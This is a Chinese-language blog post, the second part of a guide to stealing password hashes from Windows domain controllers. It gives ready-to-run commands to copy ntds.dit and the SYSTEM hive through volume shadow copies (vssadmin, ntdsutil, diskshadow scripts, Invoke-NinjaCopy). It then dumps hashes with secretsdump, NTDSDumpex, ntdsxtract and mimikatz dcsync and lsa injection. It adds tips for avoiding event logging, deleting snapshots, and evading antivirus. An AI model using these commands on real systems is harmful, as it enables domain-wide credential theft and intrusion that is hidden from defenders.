zoukankan      html  css  js  c++  java
  • windows中抓取hash小结(下)

    书接上回,windows中抓取hash小结(上)

    指路链接 https://www.cnblogs.com/lcxblogs/p/13957899.html

      

    继续

    0x03 从ntds.dit中抓取

    ntds.dit是域控中保存域用户的hash等信息的一个二进制数据文件,用system进行加密,可以算是AD域的心脏,路径见上篇前言

    ntds.dit在系统使用的时候是锁定不能复制下载的,所以只能用某种方式进行“提取”,比如Volume Shadow Copy(卷影拷贝快照)

    常规思路都是先创建目标主机的卷影拷贝,再把ntds.dit复制出来,最后删除卷影拷贝

     先说怎么抓取ntds.dit,最后再说怎么从ntds.dit中导出hash,毕竟讲的是抓取hash,我不当标题党

    和SAM一样,想要破解ntds.dit也需要system文件解密

    提取注册表中的system文件到某处(写哪都行)例如:        reg save HKLMSYSTEM c:windows empsystem.hive

    1.vssadmin

     win2008和win7中自带(不止这俩)

    查询当前系统快照  vssadmin list shadows

    创建快照  vssadmin create shadow /for=c:

    获得这个shadow copy volume name

    复制ntds.dit  copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy2windowsNTDS tds.dit c: tds.dit

    复制system  copy shadow copy namewindowsSystem32configSYSTEM c:SYSTEM

    删除快照  vssadmin delete shadows /for=c: /quiet

     

    2.ntdsutil

    这个工具在win2003、2008、2012版本中在域控中自带的(不止这几个)

    相关命令:

    查询当前快照列表  ntdsutil snapshot "List All" quit quit

    查询已挂载的快照列表  ntdsutil snapshot "List Mounted" quit quit

    创建快照  ntdsutil snapshot "activate instance ntds" create quit quit

    挂载快照  ntdsutil snapshot "mount GUID" quit quit

    卸载快照  ntdsutil snapshot "unmount GUID" quit quit

    删除快照  ntdsutil snapshot "delete GUID" quit quit

     

     创建快照后会有一个snapshot的guid

      这里我的guid是{32de54d0-a217-48ed-87b1-2f0d8c5f6872}

    之后挂载这个的快照  ntdsutil snapshot "mount {快照guid}" quit quit  

    之后会显示挂载位置 mounted as 什么什么

      这里是C:$SNAP_202011181957_VOLUMEC$

    复制ntds.dit  copy 挂载位置windowsNTDS tds.dit c: tds.dit

    最后卸载快照  ntdsutil snapshot "unmount {快照guid}" quit quit

    删除快照 ntdsutil snapshot "delete {快照guid}" quit quit

    3.ntdsutil+IFM

    ntdsutil除了用命令提取ntds.dit之外,还可以创建IFM来获取ntds.dit

    ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

     

     可以把ntds.dit拖回本地了

    然后诶,把test文件夹一删除 rmdir /s/q test

    完事

    (另:nishang中有Copy-VSS.ps1这个脚本

    插一嘴:别忘了看当前powershell中的脚本策略

    powershell中有四种脚本策略:

    Restricted: 禁止运行任何脚本和配置文件

    AllSigned :可以运行脚本,但要求所有脚本和配置文件由可信发布者签名,包括在本地计算机上编写的脚本

    RemoteSigned :可以运行脚本,但要求从网络上下载的脚本和配置文件由可信发布者签名,不要求对已经运行和已在本地计算机编写的脚本进行数字签名

    Unrestricted :可以运行未签名脚本

    Get-ExecutionPolicy看一下当前策略

    Set-ExecutionPolicy 策略名     改变当前策略

    可以把它传到域控中,运行powershell窗口,执行如下语句

    Import-Module .Copy-VSS.ps1

    Copy-vss

     可以使ntds.dit、SAM、SYSTEM三个文件和此脚本搞到一个目录下,也可以算是一种一键提取ntds.dit的手段)

     以上两个(vssadmin、ntdsutil)是系统本身自带的,还有一些不是自带的需要自行下载的脚本如vssown.vbs(与vssadmin类似)、vshadow.exe就不说了

    4.diskshadow

    注:这个思路是从网上得来的,仅供参考,实际利用失败,况且目标域控上无缘无故多了一个虚拟盘符真的没问题吗......哪位老懂哥给我说说可行性

     但是diskshadow可以加载文件并执行的这个思路或许可以进一步利用,不只是像本例中为了获取ntds.dit

    这个工具从名字就能看出是干嘛的,它是可以使用VSS(Volume Shadow Copy Service)卷影拷贝服务提供的功能的一种交互/非交互的命令解释器,可以利用它来导出ntds.dit,记得winserver 2008、2012、2016上默认都有自带(更高版本服务器暂时没用过......)

    比较有趣的是,diskshadow可以执行脚本文件,这就意味着可以把命令写进文件中让它执行

    (注意:使用diskshadow.exe需要在C:windowssystem32  这个目录下执行,不然报错)

    新建文件1.txt,写入多条指令,然后执行,一次性解决问题

    1.txt如下

    set context persistent nowriters  
    add volume c: alias someAlias
    create
    expose %someAlias% k:
    exec "cmd.exe" /c copy k:WindowsNTDS
    tds.dit c:
    tds.dit
    delete shadows all
    list shadows all
    reset
    exit
    
    
    
    
    #逐行解释
    设置卷影拷贝
    添加卷
    创建快照
    分配虚拟磁盘盘符
    将ntds.dit复制到C盘
    删除所有快照
    列出系统中的卷影拷贝
    重置
    退出

    在固定路径下用diskshadow加载1.txt

    diskshadow /s c:1.txt

    最后还要把system.hive转储,里面有ntds.dit密钥

    5.NinjaCopy

    从powersploit中找的,里面有很多脚本

    也是一个ps脚本,把NinjaCopy.ps1扔到目标域控中,在脚本当前路径下的powershell中运行如下命令

    Import-Module -name .Invoke-NinjaCopy.ps1
    Invoke-NinjaCopy -Path "c:Windows tds tds.dit" -LocalDestination "c: tds.dit"
    Invoke-NinjaCopy -Path "c:WindowsSystem32configSYSTEM" -LocalDestination "c:system.hiv"

    只要调用Volume Shadow Copy服务就会产生7036的系统日志,本方法没调用,不会产生日志

    接下来说说何如从ntds.dit中提取出hash

    1.NTDSDumpex

    把ntds.dit、SYSTEM、NTDSDumpex.exe放在同一目录下

    NTDSDumpex.exe  -d ntds.dit -s SYETEM

    2.secretsdump

    还是impacket包中的工具

    命令: python secretsdump.py -system /目录/system.hive -ntds /目录/ntds.dit LOCAL

    (我把secretdump.py与system.hive与ntds.dit放在一个目录中了,实际可调整)

    3.ntdsxtract

    思路是用libesedb-tools提供的esedbexport工具从ntds.dit中提取表 ,提取出的表有两个比较重要database和link_table

    然后下载安装ntdsxtract,用三个重要的参数即提取出来的database、link_table、system.hive(SYSTEM)来获取hash密码

    libesedb下载链接 : https://github.com/libyal/libesedb/releases

    cd进目录,apt-get install autoconf automake autopoint libtool pkg-config

     之后按照顺序依次执行以下命令:

    ./configure

    make

    sudo make install

    sudo ldconfig

    之后就可以运行esedbexport命令了

     

     下载ntdsxtract    git clone https://github.com/csababarta/ntdsxtract.git

     之后cd进ntdsxtract目录

    python setup.py build && python setup.py install

    把ntds.dit.export文件夹、system.hive文件一起放进ntdsxtract文件夹中

     dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 data --syshive system.hive --passwordhashes --pwdformat john --ntoutfile nthash.txt --lmoutfile lmhash.txt

     可以看到导出的结果

    4.mimikatz dcsync

    mimikatz还有直接读取ntds.dit的功能,都不需要复制ntds.dit再传回本地或就地提取hash

    在域内任意主机上,以域管理员权限运行mimikatz直接   lsadump::dcsync /domain:域名 /all /csv

    或者能把mimikatz在域控上运行,对lsass进程下狠手

    privilege::debug

    lsadump::lsa /inject

    0x04 尾声

    这两篇整理写了很久啊,电脑还坏了,换了换脑筋,之后要继续去和VT大战去了

    祝各位年年有0day,岁岁拿高危,payload能免杀,姿势骚断腿

    随便转载,请标明作者出处

  • 相关阅读:
    yii required 字段去除*号
    shtml用include加载文件,apache开启SSI,及shtml压缩
    门户站点用html或shtml文件格式的原因
    Apache配置shtml
    数据库迁移工具
    SQL SERVER2005 级联删除
    MySql级联删除和更新
    js只允许输入数字和小数点
    表格中的数据为空时,td的边框不显示
    MYSQL: Cannot delete or update a parent row: a foreign key constraint fails
  • 原文地址:https://www.cnblogs.com/lcxblogs/p/14002468.html
Copyright © 2011-2022 走看看